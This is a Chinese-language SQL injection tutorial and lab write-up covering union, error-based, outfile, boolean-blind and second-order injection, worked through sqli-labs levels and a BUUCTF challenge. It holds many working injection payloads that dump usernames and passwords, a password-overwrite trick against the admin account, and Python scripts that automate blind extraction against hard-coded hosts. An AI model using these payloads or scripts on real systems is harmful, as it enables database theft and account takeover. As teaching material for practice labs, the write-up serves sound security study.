什么是SQL注入?

SQL(Structured Query Language),结构化查询语言,例如

SELECT  * FROM tbl_name WHERE a=xxx AND...
UPDATE tbl_name set col_1 = 'xx' where ...
INSERT INTO tbl_name ...

image-20240502215914729

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

本质是把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

SQL注入类型

按照注入方式的不同,我们可以将注入分为:

联合查询:可以明确判断回显位置的时候使用(union select)
报错注入:无回显位置,但是有报错输出的情况可以使用
布尔盲注:关闭错误回显和数据回显,但是页面会根据我们的输入对错变化,可以使用布尔盲注
时间盲注:无任何形式的回显,但是对睡眠函数sleep()有响应,可以使用时间盲注
堆叠注入:堆叠注入在mysql上不常见,必须要用到mysqli_multi_query()或者PDO,可以用分号分隔执行多个语句,相当于直接连接数据库,Mssql常用堆叠注入

按照注入点进行分类,有以下三种注入方式:

数字型注入
字符型注入
搜索型注入

注入思路

联合注入

以下为对联合注入的高度概括

#1.判断数据库字段数目
'order by ?

#2.联合查询---接入1,2,3,4回显数据
mysql> select * from stu union select 1,2,3,4;
+----+---------+--------+------+
| id | name | gender | age |
+----+---------+--------+------+
| 1 | chengke | 1 | 30 |
| 1 | beijing | 1 | 200 |
| 2 | guagnxi | 1 | 2300 |
| 3 | nanjing | 1 | 500 |
| 4 | henan | 1 | 600 |
| 1 | 2 | 3 | 4 |
+----+---------+--------+------+
6 rows in set (0.00 sec)

#3.回显user--假设回显位置为2
mysql> select * from stu union select 1, user(),3,4;

#4.回显数据库
mysql> select * from stu union select 1, database(),3,4;

#5.回显版本号
mysql> select * from stu union select 1,version(),3,4;

#6.查询表名
mysql> select * from stu union select 1, group_concat(table_name) from information_schema.tables where table_schema='testdb',3,4;

#7.查询字段信息
mysql> select * from stu union select 1,group_concat(column_name) from information_schema.columns where table_schema='testdb' and table_name='stu',3,4;

#8.锁定目标信息
select * from stu union select 1,select group_concat(name,age) from stu,3,4;

下面以sqli-lab第一关为例子,首先打开第一关是下面这种情况

image-20240709202107350

首先这里让我们输入id为参数,那我们就输入一个?id=1看看会给我们返回什么

image-20240709202418639

很好,接下来我们就要判断是否存在注入了,首先输入?id=1',看看是否会报错

image-20240709202716109

很显然,报错了,那我们就继续输入?id=1'--+,看一看是否会正常,如果正常了,则代表存在注入点,且为字符型注入(—+在数据库中代表注释符)

image-20240709202913982

从这里,我们可以发现属于字符型注入,接下来我们用order by看看存在几个字段

image-20240709203131333

image-20240709203146964

所以字段数为3,接下来我们用联合注入进行爆出相关的数据库信息以及数据库版本?id=-1' union select 1,version(),database()--+

image-20240709203425482

大于5.0版本,可以使用information_schema,且数据库名称为security,所以接下来我们使用注入语句进行注入

?id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image-20240709204128138

我们所需要的表名为users,所以使用users进行查询

?id=-1' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+

image-20240709204258190

我们的敏感信息已经出现了,我们进行最后一步操作,爆出相关信息即可

?id=-1' UNION SELECT 1,2,group_concat(id,username,password) from users --+

image-20240709204643937

成功写出这道题,至此大家应该也了解了联合注入的基本流程,但是想要搞清楚字符型和数字型的区别,还得自己动手去做才能有更多的体会

报错注入

报错注入的应用场景就是当前页面存在注入点,但是没有任何数据回显的位置,这个时候使用联合注入是带不出任何数据的,但是又没有对数据库的报错信息进行屏蔽,这个时候我们就可以利用一些报错函数进行数据的读取

常见的报错函数

1.updatexml

updatexml(1,1,1) 一共接收三个参数,报错位置在第二个参数

使用方法:

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

2.extractvalue

extractvalue(1,1) 一共接收两个参数,报错位置在第二个参数

使用方法:

?id=1' and extractvalue(1,concat((select user()))) --+

3.ST_LatFromGeoHash() (mysql>=5.7.x)

?id=1' and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e)) --+

4.ST_LongFromGeoHash() (mysql>=5.7.x)

?id=1' and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

我们在使用很多报错函数进行数据回显的时候,往往会遇到字符长度的限制问题,此时我们想要使用group_concat函数进行单行输出是输出不完的,会限制输出数量在32字节

image-20240710094228981

有以下两个方案

#1.用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置,多进行几次就可以了
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

#2.使用concat,利用limit(起始位置,截取数量) 函数进行结果截取(还是有可能回显到长度大于限制的数据导致无法显示,不推荐)
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

sqli-lab第5关

首先很容易发现这是一个报错注入,我们要使用报错函数进行解决

image-20240710095113153

首先读取当前用户,?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

image-20240710095212048

发现是root用户,我们继续读取当前数据库,?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

image-20240710095306993

读取表名?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

image-20240710100108841

从表user中读取列名?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+

image-20240710121946295

读取数据,倘若使用?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(id,username,password) 1,32)from users,0x7e),1) --+,这个时候就会出现截取不全的情况,所以我们要一部分一部分进行截取

image-20240710122342285

先截取前32个字节,?id=1' and updatexml(1,(select substr((group_concat(id,username,password)),1,32) from users),1) --+

image-20240710123625845

再截取下32个字节,?id=1' and updatexml(1,(select substr((group_concat(id,username,password)),33,64) from users),1) --+

image-20240710123721451

以此类推,可以获得全部数据

写入注入

在前期的SQL注入的文章中:WEB攻防-通用漏洞-SQL注入(二) | Borgeousのblog (hackborgeous.top),我们介绍了写入注入的手法,这里我们以sqli-lab第七关为代表来展现写入注入的基本步骤,以加深对写入注入的理解

image-20240717083910839

首先我们进入界面,可以看到它给了我们相应的提示,即使用outfile,这就是在提示我们本关卡可以使用读写注入,首先我们还是去测试一下闭合符是什么

这一题当我们输入?id=1') --+的时候,仍然页面异常

image-20240717084329296

这个时候我就很疑惑了,所以去看了看源码,居然是两个括号闭合,这个时候我就觉得有点无语了,这只能让工具去测注入点了,否则谁会测两个括号,当然,也得积累一下这方面的经验,万一哪天真是在括号上做文章,这不就积累到一个小知识点了吗

image-20240717084523502

同理,我们使用order by去测字段数,如下所示

image-20240717085137440

image-20240717085156989

所以我们的字段数是3,我们使用union select进行尝试,很显然,这里什么都出不来,所以我们直接采用写木马的形式写到当前文件夹下

image-20240717090008556

这里一直报错,起初不知道为什么,还以为自己语句写错了,后来查阅资料后发现不能把靶场搭在C盘,C盘因为权限的问题,即使开启了secure_file_priv,也会导致写不进去

布尔盲注

适用条件:存在注入点,无论查询的数据是正确还是错误,均不会产生回显数据,但是可以明显的看到语句正确和错误与否会导致对应页面的不同状态,就像我们的第七关一样,也可以适用布尔盲注,对于盲注,我们首先要来认识几个关键函数,如下所示

length(str) 返回字符串长度
substr(str,poc,len) 截取字符串,poc表示截取开始位,len表示截取字符串长度
ascii() 返回字符的ascii码,返回该字符对应的ascii码
count() 返回当前列的数量
1、如果程序过滤了substr函数,可以用其他函数代替:效果与substr()一样
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

这里我们一般都要用到脚本进行注入,下面给出一个布尔盲注的脚本,帮助大家理解布尔盲注

import requests
#采用二分法查询
url = ''
result = ''

for i in range(1,100):
min_value = 33
max_value = 130
mid_value = (min_value+max_value)//2 #取中间值
while(min_value<max_value):
payload = "?id=1')) and(ascii(substr(database(),{0},1))>{1}) --+".format(i,mid_value)
get_url = url + payload
response = requests.get(get_url)
get_url = '' #置为空,防止影响下一轮的payload
if "You are in.... Use outfile......" in response.text:
min_value = mid_value + 1
else:
max_value = mid_value
mid_value =(max_value+min_value)//2
if(chr(mid_value)=="!"):
break
result = result + chr(mid_value)
print(result)

我们可以拿sqli-lab的第7关做演示,我们先用上面的脚本测试数据库名称

image-20240717144506507

当然我们也可以使用更高级的脚本,帮助我们一把梭哈

import requests

#数据库库名长度
def db_length():
db_len = 1
while True:
str_db_len = str(db_len)
db_len_url = url + "and length(database())=" + str_db_len + "--+"
r = requests.get(db_len_url)
if flag in r.text:
print("\n当前数据库名长度为:%s" %str_db_len)
break
else:
db_len = db_len + 1
return db_len

#猜解当前数据库库名
def db_name():
low = 32
high = 126
i = 1
km = ""
while (i<=db_len):
str_i = '%d' %i

if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = '%d' %mid

name_url = url + "and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))="+str_mid+"--+"
response = requests.get(name_url)

if flag in response.text:
km += chr(int(mid))
print(km)
i = i + 1
low = 32
high = 126
elif flag not in response.text:
name_url = url + "and ascii(substr((select schema_name from information_schema.schemata limit 5,1),"+str_i+",1))>"+str_mid+"--+"
response = requests.get(name_url)
if flag in response.text:
low = mid
elif flag not in response.text:
high = mid
print("当前数据库库名为:"+km)
return km

#判断表的个数
def table_num():
for i in range(20):
str_i = '%d' %i
num_url = url + "and (select count(table_name) from information_schema.tables where table_schema='"+db_name+"')="+str_i+"--+"
r = requests.get(num_url)
if flag in r.text:
print("\n数据表个数为:%s" %str_i)
break
return i

#判断表名长度
def table_len():
t_len = []
for i in range(0,table_num):
str_i = str(i)
for j in range(1,20):
str_j = str(j)
len_url = url + "and (select length(table_name) from information_schema.tables where table_schema='"+db_name+"' limit "+str_i+",1)="+str_j+"%23"
r = requests.get(len_url)
if flag in r.text:
print("第"+str(i+1)+"张表的表名长度为:"+str_j)
t_len.append(j)
break
return t_len

#猜解表名
def table_name():
tname = {}
for i in range(0,table_num):
str_i = str(i)
for j in range(table_num):
if i == j:
k = 1
low = 32
high = 126
bm = ""
while (k<=t_len[j]):
str_k = str(k)
if (low + high) % 2 ==0:
mid = (low + high) / 2
elif (low + high) % 2 !=0:
mid = (low + high + 1) /2
str_mid = str(mid)
name_url = url + "and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
r = requests.get(name_url)
if flag in r.text:
bm += chr(int(mid))
print(bm)
k = k+1
low = 32
high = 126
elif flag not in r.text:
name_url = url + "and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
r = requests.get(name_url)
if flag in r.text:
low = mid
elif flag not in r.text:
high = mid
tname[str(j+1)] = str(bm)
for key,value in tname.items():
print("[+]| "+key+" | "+value)
return tname

#判断表中列个数
def column_num():
for i in range(10):
str_i = str(i)
num_url = url + "and (select count(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"')="+str_i+"--+"
r = requests.get(num_url)
if flag in r.text:
print(table_name+"表中列的个数为:%s" %str_i)
break
return i

#判断列名长度
def column_len():
c_len = []
for i in range(0,column_num):
str_i = str(i)
for j in range(1,20):
str_j = str(j)
len_url = url + "and (select length(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"'limit "+str_i+",1)="+str_j+"%23"
r = requests.get(len_url)
if flag in r.text:
c_len.append(j)
print("第"+str(i+1)+"列的列名长度为:"+str_j)
break
return c_len

#猜解列名
def column_name():
cname = {}
for i in range(0, column_num):
str_i = str(i)
for j in range(column_num):
if i == j:
k = 1
low = 32
high = 126
cm = ''
while k <= column_len[j]:
str_k = str(k)
mid = 0
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
name_url = url + "and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
r = requests.get(name_url)
if flag in r.text:
cm += chr(int(mid))
print(cm)
k = k+1
low = 32
high = 126
elif flag not in r.text:
name_url = url + "and ascii(substr((select column_name from information_schema.columns where table_name='"+table_name+"' and table_schema='"+db_name+"' limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
r = requests.get(name_url)
if flag in r.text:
low = mid
elif flag not in r.text:
high = mid
cname[str(j)] = str(cm)
for key,value in cname.items():
print("[+]| "+str(int(key)+1)+" | "+value)
return cname

#判断字段个数
def dump_num():
for i in range(0,column_num):
for j in range(20):
str_j = str(j)
num_url = url + "and (select count("+cname[str(i)]+") from "+db_name+"."+table_name+")="+str_j+"--+"
r = requests.get(num_url)
if flag in r.text:
print(cname[str(i)]+"列中的字段数为:%s" %str_j)
break
return j

#判断字段长度
def dump_len():
user_len = []
pass_len = []
for i in range(0,dump_num):
str_i = str(i)
for j in range(1,33):
str_j = str(j)
len_url = url + "and (select length(username) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_j+"%23"
r = requests.get(len_url)
if flag in r.text:
user_len.append(j)
print("username第"+str(i+1)+"个字段长度为:"+str_j)
break
for k in range(1,33):
str_k = str(k)
len_url = url + "and (select length(password) from "+db_name+"."+table_name+" limit "+str_i+",1)="+str_k+"%23"
r = requests.get(len_url)
if flag in r.text:
pass_len.append(k)
print("password第"+str(i+1)+"个字段长度为:"+str_k)
break
return (user_len,pass_len)

#猜解字段值
def dump():
username = {}
password = {}
for i in range(0,dump_num):
str_i = str(i)
for j in range(dump_num):
if i == j:
k = 1
p = 1
low = 32
high = 126
uname = ''
pword = ''
while k <= user_len[j]:
str_k = str(k)
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) %2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
user_url = url + "and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))="+str_mid+"--+"
r = requests.get(user_url)
if flag in r.text:
uname += chr(int(mid))
print(str(i+1)+"| usename:"+uname)
k = k+1
low = 32
high = 126
elif flag not in r.text:
user_url = url + "and ascii(substr((select username from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_k+",1))>"+str_mid+"--+"
r = requests.get(user_url)
if flag in r.text:
low = mid
elif flag not in r.text:
high = mid
username[str(j)] = str(uname)
while p <= pass_len[j]:
str_p = str(p)
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) %2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
pass_url = url + "and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))="+str_mid+"--+"
r = requests.get(pass_url)
if flag in r.text:
pword += chr(int(mid))
print(str(i+1)+"| password:"+pword)
p = p+1
low = 32
high = 126
elif flag not in r.text:
pass_url = url + "and ascii(substr((select password from "+db_name+"."+table_name+" limit "+str_i+",1),"+str_p+",1))>"+str_mid+"--+"
r = requests.get(pass_url)
if flag in r.text:
low = mid
elif flag not in r.text:
high = mid
password[str(j)] = str(pword)
for x in range(0,13):
print("|"+str(x+1)+"|username:"+username[str(x)]+"|password:"+password[str(x)]+"|")

#程序入口
if(__name__=="__main__"):
url = "http://38.147.173.118:81/Less-7/?id=1')) "
flag = "You are in"
print("..........开始猜解当前数据库库名长度..........")
db_len = db_length()
print("\n............开始猜解当前数据库库名............")
db_name = db_name()
print("\n.............开始判断数据表的个数.............")
table_num = table_num()
print("\n...............开始判断表名长度...............\n")
t_len = table_len()
print("\n.................开始猜解表名.................\n")
tname = table_name()
table_name = input("\n请选择一张表:")
print("\n.............开始判断表中列的个数.............\n")
column_num = column_num()
print("\n...............开始判断列名长度...............\n")
column_len = column_len()
print("\n.................开始猜解列名.................\n")
cname = column_name()
print("\n................开始判断字段数................\n")
dump_num = dump_num()
print("\n...............开始判断字段长度...............\n")
user_len,pass_len = dump_len()
print("\n................开始猜解字段值................\n")
dump()

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就会发生SQL二次注入,即Web程序将我们书写的恶意代码当作数据存入数据库中,当数据被调用的时候就会执行这一串代码,从而返回我们需要的数据,造成二次注入。两次注入分别是插入恶意数据利用恶意数据

所以如果想要造成二次注入,就要满足下面的两个条件即可

用户可以向数据库插入恶意数据,即使后端对语句进行了转义
数据库可以将恶意数据取出

unfinish

我们接下来以一道CTF题为例子,便于大家理解二次注入,这里我们使用BUUCTF上的unfinish作为例子

image-20240724165325073

我们首先可以看到一个登录界面,但是我们没找到注册的功能点在哪,试了一下弱密码,应该也是不行的,所以我们先扫一扫后门网站,看看是不是隐藏了注册网站,果然存在register.php的后门网站,我们先随便注册一个用户,随后我们发现此网站通过邮箱来取出用户名,这里可能存在二次注入

我们可以这样进行测试,在用户名处写下注入语句1' and '0,我们可以发现我们的用户名确实变成了0,也就是说确实存在二次注入

image-20240724171115196

由于是二次注入,所以我们也不好直接猜字段数,所以我们试着用asscii码来一位一位的爆出数据,我们在username中输入0'+ascii(substr(database() from 1 for 1))+0',为什么使用from 1 for 1,是因为逗号被禁用了,所以可以使用这种方法来绕过逗号

image-20240724171949120

接下来就是写一个python脚本进行跑flag了,由于information也被禁用了,所以这里也只能猜测表名为flag了,对应的脚本如下所示

import re
import time
import requests
from time import sleep
from bs4 import BeautifulSoup


flag = ''
url = 'http://ad987641-a4b8-4746-924b-12e81a6398c8.node5.buuoj.cn:81/'
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

image-20240724175921198

我们可以看到flag已经被解出来了,到这里我们的二次注入就写完了

sqli-lab第24关

首先拿到页面,也是只有一个登录框

image-20240724212222351

所以我们果断选择创建一个新用户,如下所示,发现admin用户已经存在了

image-20240724212445554

当我们用正常的用户名和密码登录时,会在主页面上显示我们的用户名,这里就存在二次注入了

image-20240724212719359

我们可以修改admin的密码(因为当我们登录进去之后,会有让我们修改密码的界面),进而达到越权

image-20240724215301088

image-20240724215523354

当更新密码的时候,后台语句为$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass',当插入后,就会变成

$sql = "UPDATE users SET PASSWORD='1234' where username='admin'#' and password='$curr_pass'

进而达到任意账号修改,admin账户登录成功

image-20240724215935268